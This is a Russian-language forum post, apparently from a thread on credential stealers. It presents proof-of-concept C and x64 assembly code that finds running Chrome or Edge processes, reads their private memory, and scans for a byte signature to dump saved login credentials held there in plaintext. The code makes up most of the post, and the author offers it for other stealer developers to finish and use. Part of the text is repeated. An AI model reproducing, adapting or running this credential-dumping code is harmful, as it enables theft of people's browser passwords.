Пожалуйста, обратите внимание, что пользователь заблокирован
В одной теме по обсуждению стиллеров DildoFagins запостил линк на исследование какого-то вайтхета https://www.cyberark.com/resources/...t-credentials-directly-from-chromium-s-memory . В статье он негодует, что оказывается chromium-based браузеры хранят пароли в памяти открытым текстом. Репорты в m$ и гугл ничего особо не дали, т.к. там ответили вида "если малварь попала на комп, то проблема в другом месте, а не в браузере". Но, радостно заканчивает тему автор, во-первых все же чего-то они там поменяли, а во-вторых - количество строк в памяти столь огромно, что найти там креды практически нереально.
Решил задаться этим вопросом . С одной стороны да, автор прав - количество памяти и строк в ней настолько огромно, все равно что искать ключевое слово в "войне и мир" - допустим, оно там есть, но какое и где , черт знает. Искать все строки не вариант сразу. Искать урл по маске - хорошо, но опять же, множество фолс позитивов. Начал смотреть, как оно там хранится. Короче, сдампить их можно (по крайней мере, бОльшую часть), т.к. хранятся данные по такой сигнатуре:
т.е. алгоритм такой - ищем строку "- http" , как нашли идем в обратную сторону, пока не найдем двойной нуллбайт (WORD). Почему двойной, если от 4? Данные не будут выровнены по границе DWORD, и потому надо искать именно два подряд + вдруг я ошибся, и там будет меньше. Т.е. алгоритм примерно такой:
Перебор всех процессов, для надежности - в ходе экспериментов у меня пароли хранились только в одном, но какая разница, сдампит оно их за 0.5 секунды или за 5, главное чтобы не пропустить.
Просмотр памяти процесса, перебираем все регионы соответствующие критериям (RW , Private)
Основная магия - поиск сигнатур
Поиск я сделал на 64 битном Асме, точнее изначально асм был 32 битный, в итоге пришлось переписать..в общем, желаемой оптимизации не получил, там говнокод по факту, но что есть то есть
Две процедуры, одна ищет подстроку в строке, вторая - двойной нуллбайт.
В Си коде не забудьте их объявить
Это всего лишь РоС, в котором будут недочеты, ошибки, оверфлоу и прочая ерунда. До продакшна это надо еще отдебажить. Кроме того, если софт будет 32 бит, а браузер 64, придется юзать какой-то вариант HG.
Но, может кому пригодится.
Решил задаться этим вопросом . С одной стороны да, автор прав - количество памяти и строк в ней настолько огромно, все равно что искать ключевое слово в "войне и мир" - допустим, оно там есть, но какое и где , черт знает. Искать все строки не вариант сразу. Искать урл по маске - хорошо, но опять же, множество фолс позитивов. Начал смотреть, как оно там хранится. Короче, сдампить их можно (по крайней мере, бОльшую часть), т.к. хранятся данные по такой сигнатуре:
Код:
4 и больше нуллбайта .. тут креды... строка - http
Перебор всех процессов, для надежности - в ходе экспериментов у меня пароли хранились только в одном, но какая разница, сдампит оно их за 0.5 секунды или за 5, главное чтобы не пропустить.
C:
int m(void)
{
HANDLE h;
PROCESSENTRY32W pe32;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE)
{
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hSnap, &pe32))
{
//log err..
return 1;
}
do
{
if(lstrcmpW(pe32.szExeFile,L"chrome.exe") == 0) //или msedge или что там еще
{
h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ , FALSE, pe32.th32ProcessID);
if(h)
{
ParseMem(h);
CloseHandle(h);
}
}
} while (Process32NextW(hSnap,&pe32));
CloseHandle(hSnap);
}
ExitProcess(0);
}
Просмотр памяти процесса, перебираем все регионы соответствующие критериям (RW , Private)
C:
void ParseMem(HANDLE hP)
{
SYSTEM_INFO s_i;
MEMORY_BASIC_INFORMATION pmem;
GetSystemInfo(&s_i);
for (LPBYTE memPtr, i = (LPBYTE)s_i.lpMinimumApplicationAddress; i <= (LPBYTE)s_i.lpMaximumApplicationAddress;)
{
VirtualQueryEx(hP, i, &pmem, sizeof(MEMORY_BASIC_INFORMATION));
if (pmem.State == MEM_COMMIT && pmem.Protect == PAGE_READWRITE && pmem.Type == MEM_PRIVATE)
{
memPtr = VirtualAlloc(NULL,pmem.RegionSize,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
if(memPtr)
{
SIZE_T tmp;
if (!ReadProcessMemory(hP,pmem.BaseAddress,memPtr,pmem.RegionSize,&tmp))
{OutputDebugStringA("error read memory"); return;}
find_all(memPtr,pmem.RegionSize);
VirtualFree(memPtr,0,MEM_RELEASE);
}
}
i += pmem.RegionSize;
}
}
Основная магия - поиск сигнатур
C:
void find_all (LPBYTE pMem,SIZE_T dwSize)
{
SIZE_T end_pos = 0;
unsigned short int datalen = 0;
LPBYTE pFinded;
char buf[256]; //в реальном проекте выделять память в хипе, ибо может быть оверфлоу
do
{
end_pos = InString1(dwSize,pMem + end_pos,"- http"); //найти строку , это будет конец сигнатуры с кредами
if(end_pos > 0) //если что-то нашлось
{
dwSize-=end_pos; //общий размер уменьшить на фрагмент, который уже просмотрели
pFinded = find_s(pMem,end_pos,&datalen); //указатель на начало данных
if(datalen > 15) //минимальный размер
{
CopyMemory(buf,pFinded,datalen); //копируем в буфер
pFinded = buf;
while(*pFinded == 0x0) //удалить нуллбайты
{
pFinded++;
}
OutputDebugStringA(pFinded); //вывести найденую строку
}
}
else
break;
}while(dwSize >= 0);
}
Поиск я сделал на 64 битном Асме, точнее изначально асм был 32 битный, в итоге пришлось переписать..в общем, желаемой оптимизации не получил, там говнокод по факту, но что есть то есть
Две процедуры, одна ищет подстроку в строке, вторая - двойной нуллбайт.
Код:
.model flat,c
lstrlenA PROTO FASTCALL :QWORD
.code
InString1 proc strLen1:QWORD,lpSource:QWORD,lpPattern:QWORD
;LOCAL r10:QWORD R10
;LOCAL pLen:QWORD r11
;local startpos:qword r12
xor r12,r12
inc r12 ;mov r12,1
push rbx
push rsi
push rdi
mov rax, strLen1
mov r10, rax
invoke lstrlenA,lpPattern
mov r11, rax ; pattern length
@@:
dec r12 ; correct from 1 to 0 based index
cmp rax, r10
jl @F
mov rax, -1
jmp isOut ; exit if pattern longer than source
@@:
sub r10, rax ; don't read past string end
inc r10
mov rcx, r10
cmp rcx, r12
jg @F
mov rax, -2
jmp isOut ; exit if startpos is past end
@@:
; ----------------
; setup loop code
; ----------------
mov rsi, lpSource
mov rdi, lpPattern
mov al, [rdi] ; get 1st char in pattern
add rsi, rcx ; add source length
neg rcx ; invert sign
add rcx, r12 ; add starting offset
jmp Scan_Loop
align 16
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Pre_Scan:
inc rcx ; start on next byte
Scan_Loop:
cmp al, [rsi+rcx] ; scan for 1st byte of pattern
je Pre_Match ; test if it matches
inc rcx
js Scan_Loop ; exit on sign inversion
jmp No_Match
Pre_Match:
lea rbx, [rsi+rcx] ; put current scan address in EBX
mov rdx, r11 ; put pattern length into EDX
Test_Match:
mov ah, [rbx+rdx-1] ; load last byte of pattern length in main string
cmp ah, [rdi+rdx-1] ; compare it with last byte in pattern
jne Pre_Scan ; jump back on mismatch
dec rdx
jnz Test_Match ; 0 = match, fall through on match
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Match:
add rcx, r10
mov rax, rcx
jmp isOut
No_Match:
xor rax, rax
isOut:
pop rdi
pop rsi
pop rbx
ret
InString1 endp
find_s proc lpMem:qword,endpos:qword,datalen:qword ptr
push rsi
push rdi
mov rax,endpos
push rax ; save endpos
mov rdi,lpMem
add rdi,rax ;set pos in finded stroka
mov rcx,rax ;dlina
xor rax,rax ;we search nullbyte
std
repne scasw
cld
pop rax ;restore endpos
sub rax,rcx ;substract current cnt
shl rax,1 ;mul x2,because words != bytes
mov rcx,datalen ;load addr
mov [rcx],ax
mov rax,rdi
pop rdi
pop rsi
ret
find_s endp
В Си коде не забудьте их объявить
C:
int InString1(int strLen1,LPVOID lpSource,LPVOID lpPattern);
LPBYTE find_s(LPVOID lpMem,int endpos,USHORT* datalen);
Это всего лишь РоС, в котором будут недочеты, ошибки, оверфлоу и прочая ерунда. До продакшна это надо еще отдебажить. Кроме того, если софт будет 32 бит, а браузер 64, придется юзать какой-то вариант HG.
Но, может кому пригодится.